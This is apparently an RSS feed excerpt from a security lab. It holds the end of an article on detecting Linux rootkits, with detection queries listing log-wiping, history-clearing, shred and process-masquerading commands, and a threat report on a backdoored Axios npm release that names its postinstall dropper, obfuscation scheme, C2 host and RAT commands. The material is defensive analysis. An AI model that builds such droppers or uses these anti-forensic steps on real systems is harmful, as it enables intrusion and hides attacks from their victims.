<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/privilege_escalation_kworker_uid_elevation.toml">Suspicious Kworker UID Elevation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/473c8536449c12f4e6bf1dc7de4fbded217592a5/behavior/rules/linux/defense_evasion_shell_command_execution_via_kworker.toml">Shell Command Execution via Kworker</a></li>
</ul>
<p>Additionally, malicious processes, such as an initial dropper or a persistence mechanism, may masquerade as kernel threads and leverage a built-in shell function to do so. Leveraging the <code>exec -a</code> command, any process can be spawned with a name of the attacker’s choosing. Kernel process masquerading can be detected through the following detection query:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
process.command_line like &quot;[*]&quot; and process.args_count == 1
</code></pre>
<p>This behavior is shown below, where several pieces of malware tried to masquerade as either a kernel worker or a web service process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image8.png" alt="Figure 15: Telemetry example of several malwares masquerading as kernel processes" title="Figure 15: Telemetry example of several malwares masquerading as kernel processes." /></p>
<p>This technique is also commonly abused by threat actors leveraging The Hacker’s Choice (THC) toolkit, specifically upon deploying <a href="https://github.com/hackerschoice/gsocket">gsocket</a>.</p>
<p>Rules related to kernel masquerading, and masquerading via <code>exec -a</code> generally, are available in the protections-artifacts repository:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/473c8536449c12f4e6bf1dc7de4fbded217592a5/behavior/rules/linux/defense_evasion_process_masquerading_as_kernel_process.toml">Process Masquerading as Kernel Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/473c8536449c12f4e6bf1dc7de4fbded217592a5/behavior/rules/linux/defense_evasion_potential_process_masquerading_via_exec.toml">Potential Process Masquerading via Exec</a></li>
</ul>
<p>Another technique seen in the wild, and also in <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf">Horse Pill</a>, is the use of <code>prctl</code> to stomp its process name. To ensure this telemetry is available, a custom Auditd rule can be created:</p>
<pre><code class="language-sql">-a exit,always -F arch=b64 -S prctl -k prctl_detection
</code></pre>
<p>And accompanied by the following detection logic:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and auditd.data.syscall == &quot;prctl&quot; and
auditd.data.a0 == &quot;f&quot;
</code></pre>
<p>Will allow for the detection of this technique. In the screenshot below, we can see telemetry examples of this technique being used, where the <code>process.executable</code> is gibberish, and <code>prctl</code> will then be used to masquerade on the system as a legitimate process.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image14.png" alt="Figure 16: Telemetry example of several malwares leveraging prctl to stomp their process names" title="Figure 16: Telemetry example of several malwares leveraging prctl to stomp their process names." /></p>
<p>This rule, including its setup instructions, is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/defense_evasion_prctl_process_name_tampering.toml">Potential Process Name Stomping with Prctl</a></li>
</ul>
<p>Although there are many ways to masquerade, these are the most common ones observed.</p>
<h4>Log and audit cleansing</h4>
<p>Many rootkits include routines that erase traces of their installation or activity from logs. One of these techniques is to clear the victim’s shell history. This can be detected in two ways. One method is to detect the deletion of the shell history file:</p>
<pre><code class="language-sql">file where event.type == &quot;deletion&quot; and file.name in (
  &quot;.bash_history&quot;, &quot;.zsh_history&quot;, &quot;.sh_history&quot;, &quot;.ksh_history&quot;,
  &quot;.history&quot;, &quot;.csh_history&quot;, &quot;.tcsh_history&quot;, &quot;fish_history&quot;
)
</code></pre>
<p>The second method is to detect process executions with command line arguments related to clearing the shell history:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and (
  (
    process.args in (&quot;rm&quot;, &quot;echo&quot;) or
    (
      process.args == &quot;ln&quot; and process.args == &quot;-sf&quot; and
      process.args == &quot;/dev/null&quot;
    ) or
    (process.args == &quot;truncate&quot; and process.args == &quot;-s0&quot;)
  )
  and process.command_line like~ (
    &quot;*.bash_history*&quot;, &quot;*.zsh_history*&quot;, &quot;*.sh_history*&quot;, &quot;*.ksh_history*&quot;,
    &quot;*.history*&quot;, &quot;*.csh_history*&quot;, &quot;*.tcsh_history*&quot;, &quot;*fish_history*&quot;
  )
) or
(process.name == &quot;history&quot; and process.args == &quot;-c&quot;) or
(
  process.args == &quot;export&quot; and
  process.args like~ (&quot;HISTFILE=/dev/null&quot;, &quot;HISTFILESIZE=0&quot;)
) or
(process.args == &quot;unset&quot; and process.args like~ &quot;HISTFILE&quot;) or
(process.args == &quot;set&quot; and process.args == &quot;history&quot; and process.args == &quot;+o&quot;)
</code></pre>
<p>Having both detection rules (process and file) active will enable a more robust defense-in-depth strategy.</p>
<p>Upon loading, rootkits may taint the kernel or generate out-of-tree messages that can be identified when parsing syslog and kernel logs. To erase their tracks, rootkits may delete these log files:</p>
<pre><code class="language-sql">file where event.type == &quot;deletion&quot; and file.path in (
  &quot;/var/log/syslog&quot;, &quot;/var/log/messages&quot;, &quot;/var/log/secure&quot;, 
  &quot;/var/log/auth.log&quot;, &quot;/var/log/boot.log&quot;, &quot;/var/log/kern.log&quot;, 
  &quot;/var/log/dmesg&quot;
)
</code></pre>
<p>Or clear the kernel message buffer through <code>dmesg</code>:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name == &quot;dmesg&quot; and process.args in (&quot;-c&quot;, &quot;--clear&quot;)
</code></pre>
<p>An example of a rootkit that automatically cleans the <a href="https://man7.org/linux/man-pages/man1/dmesg.1.html">dmesg</a> is the <a href="https://github.com/bluedragonsecurity/bds_lkm">bds rootkit</a>, which loads by executing <code>/opt/bds_elf/bds_start.sh</code>:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image12.png" alt="Figure 17: Telemetry example of bds’s kernel buffer ring clearing via dmesg" title="Figure 17: Telemetry example of bds’s kernel buffer ring clearing via dmesg." /></p>
<p>Another means of clearing these logs is by using <a href="https://man7.org/linux/man-pages/man1/journalctl.1.html">journalctl</a>:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name == &quot;journalctl&quot; and
process.args like (&quot;--vacuum-time=*&quot;, &quot;--vacuum-size=*&quot;, &quot;--vacuum-files=*&quot;)
</code></pre>
<p>This is a technique that was used by Singularity:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image11.png" alt="Figure 18: Telemetry example of Singularity attempting to clear logs via journalctl" title="Figure 18: Telemetry example of Singularity attempting to clear logs via journalctl." /></p>
<p>Another technique employed by Singularity’s loader script is the deletion of all files associated to the rootkit in case it cannot load, or once it completes its loading process. For more thorough deletion, the author chose the use of <code>shred</code> over <code>rm</code>. <code>rm</code> (remove) simply deletes the file's pointer, making it fast but allowing for data recovery. <code>shred</code> overwrites the file data multiple times with random data, ensuring it cannot be recovered. This makes the deletion more permanent but, at the same time, noisier from a behavior-detection point of view, since <code>shred</code> is not commonly used on most Linux systems.</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name == &quot;shred&quot; and (
// Any short-flag cluster containing at least one of u/z, 
// and containing no extra &quot;-&quot; after the first one
process.args regex~ &quot;-[^-]*[uz][^-]*&quot; or
process.args in (&quot;--remove&quot;, &quot;--zero&quot;)
) and
not process.parent.name == &quot;logrotate&quot;
</code></pre>
<p>The regex above ensures that attempts to evade detection by combining or modifying flags become more difficult. Below is an example of Singularity looking for any files related to its deployment, and shredding them:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image13.png" alt="Figure 19: Telemetry example of a rootkit’s loading process attempting to shred any evidence" title="Figure 19: Telemetry example of a rootkit’s loading process attempting to shred any evidence." /></p>
<p>These file and log removal techniques can be detected via several out-of-the-box detection rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/defense_evasion_log_files_deleted.toml">System Log File Deletion</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/defense_evasion_clear_kernel_ring_buffer.toml">Attempt to Clear Kernel Ring Buffer</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/defense_evasion_journalctl_clear_logs.toml">Attempt to Clear Logs via Journalctl</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/linux/defense_evasion_file_deletion_via_shred.toml">File Deletion via Shred</a></li>
</ul>
<p>Once a rootkit is finished clearing its traces, it may timestomp the files it altered to ensure no file modification trace is left behind:</p>
<pre><code class="language-sql">process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
process.name == &quot;touch&quot; and
process.args like (
  &quot;-t*&quot;, &quot;-d*&quot;, &quot;-a*&quot;, &quot;-m*&quot;, &quot;-r*&quot;, &quot;--date=*&quot;, &quot;--reference=*&quot;, &quot;--time=*&quot;
)
</code></pre>
<p>An example of this is shown here, where a threat actor uses the <code>/etc/ld.so.conf</code> file’s timestamp as a reference time to the files on the <code>/dev/shm</code> drive in an attempt to blend in:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/image3.png" alt="Figure 20: Telemetry example of a threat actor attempting to timestomp their payload in /dev/shm" title="Figure 20: Telemetry example of a threat actor attempting to timestomp their payload in /dev/shm." /></p>
<p>This is a technique that we have added coverage for via both detection rules and protection artifacts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/cross-platform/defense_evasion_timestomp_touch.toml">Timestomping using Touch Command</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/473c8536449c12f4e6bf1dc7de4fbded217592a5/behavior/rules/linux/defense_evasion_timestomping_detected_via_touch.toml">Timestomping Detected via Touch</a></li>
</ul>
<p>Although there are always more techniques we did not discuss in this research, we are confident that this research will help deepen the understanding of the Linux rootkit landscape and its detection engineering.</p>
<h2>Rootkit prevention techniques</h2>
<p>Preventing Linux rootkits requires a layered defense strategy that combines kernel and userland hardening, strict access control, and continuous monitoring. Mandatory access control frameworks, such as SELinux and AppArmor, limit process behavior and userland persistence opportunities. Meanwhile, kernel hardening techniques, including Lockdown Mode, KASLR, SMEP/SMAP, and tools like LKRG, mitigate the risk of kernel-level compromise. Restricting kernel module usage by disabling dynamic loading or enforcing module signing further reduces common vectors for rootkit deployment.</p>
<p>Visibility into malicious behavior is enhanced through Auditd and file integrity monitoring for syscall and file activity, as well as through EDR solutions that identify and prevent suspicious runtime behaviors. Security is further strengthened by minimizing process privileges through <code>seccomp-bpf</code>, Linux capabilities, and the landlock LSM, thereby restricting syscall access and filesystem interactions.</p>
<p>Timely kernel and software updates, supported by live patching when necessary, close known vulnerabilities before they are exploited. Additionally, filesystem and device configurations should be hardened by remounting sensitive filesystems with restrictive flags and disabling access to kernel memory interfaces, such as <code>/dev/mem</code> and <code>/proc/kallsyms</code>.</p>
<p>No single control can prevent rootkits outright. A layered defense, combining configuration hardening, static and dynamic detection, and forensic readiness, remains essential.</p>
<h2>Conclusion</h2>
<p>In <a href="https://www.elastic.co/fr/security-labs/linux-rootkits-1-hooked-on-linux">part one of this series</a>, we examined how Linux rootkits operate internally, exploring their evolution, taxonomy, and techniques for manipulating user space and kernel space. In this second part, we translated that knowledge into practical detection strategies, focusing on the behavioral signals and runtime telemetry that expose rootkit activity.</p>
<p>While Windows malware continues to dominate the focus of commercial security vendors and threat research communities, Linux remains comparatively under-researched, despite powering the majority of the world’s cloud infrastructure, high-performance computing environments, and internet services.</p>
<p>Our analysis highlights that Linux rootkits are evolving. The increasing adoption of technologies such as eBPF, <code>io_uring</code>, and containerized Linux workloads introduces new attack surfaces that are not yet well understood or widely protected.</p>
<p>We encourage the security community to:</p>
<ul>
<li>Invest in Linux-focused detection engineering from both static and dynamic angles.</li>
<li>Share research findings, proofs of concept, and detection strategies openly to accelerate collective knowledge among defenders.</li>
<li>Collaborate across vendors, academia, and industry to push Linux rootkit defense toward the same maturity level achieved on Windows.</li>
</ul>
<p>Only by collectively improving visibility, detection, and response capabilities can defenders stay ahead of this stealthy and rapidly evolving threat landscape.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-2-caught-in-the-act/linux-rootkits-2-caught-in-the-act.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Inside the Axios supply chain compromise - one RAT to rule them all]]></title>
            <link>https://www.elastic.co/fr/security-labs/axios-one-rat-to-rule-them-all</link>
            <guid>axios-one-rat-to-rule-them-all</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs analyzes a supply chain compromise of the axios npm package delivering a unified cross-platform RAT]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Elastic Security Labs released <a href="https://www.elastic.co/fr/security-labs/axios-supply-chain-compromise-detections">initial triage and detection rules</a> for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.</p>
</blockquote>
<h2>Introduction</h2>
<p>Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.</p>
<h3>Key takeaways</h3>
<ul>
<li>A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package</li>
<li>The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux</li>
<li>All three stage-2 payloads are implementations of the <strong>same RAT</strong> — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)</li>
<li>The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from <code>node_modules</code></li>
</ul>
<h2>Preamble</h2>
<p>On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the <a href="https://www.npmjs.com/package/axios">axios</a> npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.</p>
<p>The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.</p>
<p>The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.</p>
<p>What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the <strong>same RAT</strong> — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.</p>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on <strong>March 31, 2026 at 01:50 AM UTC</strong> to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image3.png" alt="GitHub Security Advisory filed to the axios repository" title="GitHub Security Advisory filed to the axios repository" /></p>
<p>As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image2.png" alt="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" title="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" /></p>
<p>This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.</p>
<h2>Campaign overview</h2>
<p>The compromise is evident from the npm registry metadata. The maintainer email changed from <code>jasonsaayman@gmail[.]com</code> — present on all prior legitimate releases — to <code>ifstap@proton[.]me</code> on the malicious versions. The publishing method also changed:</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Published By</th>
<th>Method</th>
<th>Provenance</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>axios@1.14.0</code> (legitimate)</td>
<td><code>jasonsaayman@gmail[.]com</code></td>
<td>GitHub Actions OIDC</td>
<td>SLSA provenance attestations</td>
</tr>
<tr>
<td><code>axios@1.14.1</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
<tr>
<td><code>axios@0.30.4</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
</tbody>
</table>
<p>The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.</p>
<h3>Timeline</h3>
<ul>
<li><strong>2026-02-18 17:19 UTC</strong> — <code>axios@0.30.3</code> published legitimately by <code>jasonsaayman@gmail[.]com</code></li>
<li><strong>2026-03-27 19:01 UTC</strong> — <code>axios@1.14.0</code> published legitimately via GitHub Actions OIDC</li>
<li><strong>2026-03-30 05:57 UTC</strong> — <code>plain-crypto-js@4.2.0</code> published by <code>nrwise</code> (<code>nrwise@proton.me</code>) — clean decoy to build registry history</li>
<li><strong>2026-03-30 23:59 UTC</strong> — <code>plain-crypto-js@4.2.1</code> published by <code>nrwise</code> — malicious version with <code>postinstall</code> backdoor</li>
<li><strong>2026-03-31 00:21 UTC</strong> — <code>axios@1.14.1</code> published by compromised account — tagged <code>latest</code></li>
<li><strong>2026-03-31 01:00 UTC</strong> — <code>axios@0.30.4</code> published by compromised account — tagged <code>legacy</code></li>
</ul>
<h3>Affected packages</h3>
<ul>
<li><strong><code>axios@1.14.1</code> — Malicious, tagged <code>latest</code> at time of discovery</strong></li>
<li><strong><code>axios@0.30.4</code> — Malicious, tagged <code>legacy</code> at time of discovery</strong></li>
<li><strong><code>plain-crypto-js@4.2.0</code> — Clean decoy, published to build registry history</strong></li>
<li><strong><code>plain-crypto-js@4.2.1</code> — Malicious, payload delivery vehicle (<code>postinstall</code> backdoor)</strong></li>
</ul>
<p><strong>Safe versions:</strong> <code>axios@1.14.0</code> (last legitimate 1.x release with SLSA provenance) and <code>axios@0.30.3</code> (last legitimate <code>0.30.x</code> release).</p>
<p>The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.</p>
<h2>Code analysis</h2>
<h3>Stage 1: The plain-crypto-js dropper</h3>
<p>The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls <code>plain-crypto-js@^4.2.1</code> as a dependency, which declares:</p>
<pre><code class="language-json">&quot;scripts&quot;: {
  &quot;postinstall&quot;: &quot;node setup.js&quot;
}
</code></pre>
<p>This causes setup.js to execute automatically during npm install — no user interaction required.</p>
<p>The setup.js file uses a two-layer encoding scheme to conceal its behavior:</p>
<ul>
<li><strong>Layer 1:</strong> String reversal followed by Base64 decoding</li>
<li><strong>Layer 2:</strong> XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)</li>
</ul>
<p>All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:</p>
<h3>Platform-specific delivery</h3>
<p>After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to <a href="http://sfrclak%5B.%5Dcom:8000/6202033">http://sfrclak[.]com:8000/6202033</a> with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Delivery Method</th>
<th>Stage-2 Location</th>
<th>Disguise</th>
</tr>
</thead>
<tbody>
<tr>
<td>macOS</td>
<td>AppleScript via osascript downloads binary with curl</td>
<td><code>/Library/Caches/com.apple.act.mond</code></td>
<td>Apple system daemon</td>
</tr>
<tr>
<td>Windows</td>
<td>VBScript downloads .ps1 via curl, executes via renamed PowerShell (<code>%PROGRAMDATA%\wt.exe</code>)</td>
<td><code>%TEMP%\6202033.ps1</code> (transient)</td>
<td>Windows Terminal</td>
</tr>
<tr>
<td>Linux</td>
<td>Direct curl download and python3 execution</td>
<td><code>/tmp/ld.py</code></td>
<td>None</td>
</tr>
</tbody>
</table>
<h3>Anti-forensics</h3>
<p>The dropper performs two cleanup actions:</p>
<ol>
<li><strong>Self-deletion:</strong> setup.js removes itself via fs.unlink(__filename)</li>
<li><strong>Package manifest swap:</strong> A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version</li>
</ol>
<p>Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.</p>
<h3>Stage 2: Cross-platform RAT</h3>
<p>The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux  are not three different tools. They are three implementations of the <strong>same RAT specification</strong>, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.</p>
<h4>Shared architecture</h4>
<p>The following properties are <strong>identical across all three variants:</strong></p>
<ul>
<li><strong>C2 transport: HTTP POST</strong></li>
<li><strong>Body encoding: Base64-encoded JSON</strong></li>
<li><strong>User-Agent: <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></strong></li>
<li><strong>Beacon interval: 60 seconds</strong></li>
<li><strong>Session UID: 16-character random alphanumeric string, generated per-execution</strong></li>
<li><strong>Outbound message types: <code>FirstInfo</code>, <code>BaseInfo</code>, <code>CmdResult</code></strong></li>
<li><strong>Inbound command types: <code>kill</code>, <code>peinject</code>, <code>runscript</code>, <code>rundir</code></strong></li>
<li><strong>Response command types: <code>rsp_kill</code>, <code>rsp_peinject</code>, <code>rsp_runscript</code>, <code>rsp_rundir</code></strong></li>
</ul>
<p>The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.</p>
<h4>Initialization and reconnaissance</h4>
<p>On startup, each variant:</p>
<ol>
<li><strong>Generates a session UID</strong> — 16 random alphanumeric characters, included in every subsequent C2 message</li>
<li><strong>Detects OS and architecture</strong> — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)</li>
<li><strong>Enumerates initial directories</strong> of interest (user profile, documents, desktop, config directories)</li>
<li><strong>Sends a FirstInfo beacon</strong> containing the UID, OS identifier, and directory snapshot</li>
</ol>
<p>After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:</p>
<table>
<thead>
<tr>
<th>Data Collected</th>
<th>Windows Source</th>
<th>macOS Source</th>
<th>Linux Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hostname</td>
<td>%COMPUTERNAME% env var</td>
<td>gethostname()</td>
<td>/proc/sys/kernel/hostname</td>
</tr>
<tr>
<td>Username</td>
<td>%USERNAME% env var</td>
<td>getuid() + getpwuid()</td>
<td>os.getlogin()</td>
</tr>
<tr>
<td>OS version</td>
<td>WMI / registry</td>
<td>sysctlbyname(&quot;kern.osproductversion&quot;)</td>
<td>platform.system() + platform.release()</td>
</tr>
<tr>
<td>Timezone</td>
<td>System timezone</td>
<td>localtime_r()</td>
<td>datetime.timezone</td>
</tr>
<tr>
<td>Boot time</td>
<td>System uptime</td>
<td>sysctl(&quot;kern.boottime&quot;)</td>
<td>/proc/uptime</td>
</tr>
<tr>
<td>Install date</td>
<td>Registry / WMI</td>
<td>stat(&quot;/&quot;) or sysctl</td>
<td>ctime of /var/log/installer or /var/log/dpkg.log</td>
</tr>
<tr>
<td>Hardware model</td>
<td>WMI</td>
<td>sysctlbyname(&quot;hw.model&quot;)</td>
<td>/sys/class/dmi/id/product_name</td>
</tr>
<tr>
<td>CPU type</td>
<td>WMI</td>
<td>sysctlbyname()</td>
<td>platform.machine()</td>
</tr>
<tr>
<td>Process list</td>
<td>Full PID, session, name, path</td>
<td>popen(&quot;ps&quot;) (up to 1000)</td>
<td>Full /proc enumeration (PID, PPID, user, cmdline)</td>
</tr>
</tbody>
</table>
<p>Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.</p>
<h4>Command dispatch</h4>
<p>The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:</p>
<p><strong>kill — Self-termination.</strong> Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.</p>
<p><strong>runscript — Script/command execution.</strong> The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Execution Mechanism</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>PowerShell with -NoProfile -ep Bypass</td>
</tr>
<tr>
<td>macOS</td>
<td>AppleScript via /usr/bin/osascript</td>
</tr>
<tr>
<td>Linux</td>
<td>Shell via subprocess.run(shell=True) or Python via python3 -c</td>
</tr>
</tbody>
</table>
<p><strong>peinject — Binary payload delivery.</strong> Despite the Windows-centric naming (&quot;PE inject&quot;), all three platforms implement this as a way to drop and execute binary payloads:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>Reflective .NET assembly loading via [System.Reflection.Assembly]::Load()</td>
</tr>
<tr>
<td>macOS</td>
<td>Base64-decodes and drops a binary, executes with operator-supplied parameters.</td>
</tr>
<tr>
<td>Linux</td>
<td>Base64-decodes a binary to /tmp/.&lt;random 6-char string&gt; (hidden file), launches via subprocess.Popen().</td>
</tr>
</tbody>
</table>
<p>The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.</p>
<p><strong>rundir — Directory enumeration.</strong> Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem.</p>
<h4>Capability summary</h4>
<table>
<thead>
<tr>
<th>Capability</th>
<th>Windows (PowerShell)</th>
<th>macOS (C++)</th>
<th>Linux (Python)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Persistence</td>
<td>Registry Run key + hidden .bat</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>Script execution</td>
<td>PowerShell</td>
<td>AppleScript via osascript</td>
<td>Shell or Python inline</td>
</tr>
<tr>
<td>Binary injection</td>
<td>Reflective .NET load injecting into cmd.exe</td>
<td>Binary drop + execute</td>
<td>Binary drop to /tmp/ + execute</td>
</tr>
<tr>
<td>Anti-forensics</td>
<td>Hidden windows, temp file cleanup</td>
<td>Hidden temp .scpt</td>
<td>Hidden /tmp/.XXXXXX files</td>
</tr>
</tbody>
</table>
<h2>Attribution</h2>
<p>The macOS Mach-O binary delivered by the <code>plain-crypto-js</code> postinstall hook exhibits significant overlap with <strong>WAVESHAPER</strong>, a C++ backdoor tracked by Mandiant and attributed to <strong>UNC1069</strong>, a DPRK-linked threat cluster.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/axios-one-rat-to-rule-them-all/image1.png" alt="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" title="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" /></p>
<h2>Conclusion</h2>
<p>This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.</p>
<p>The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.</p>
<p>Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.</p>
<h2>MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1195/001/">Supply Chain Compromise: Compromise Software Dependencies</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
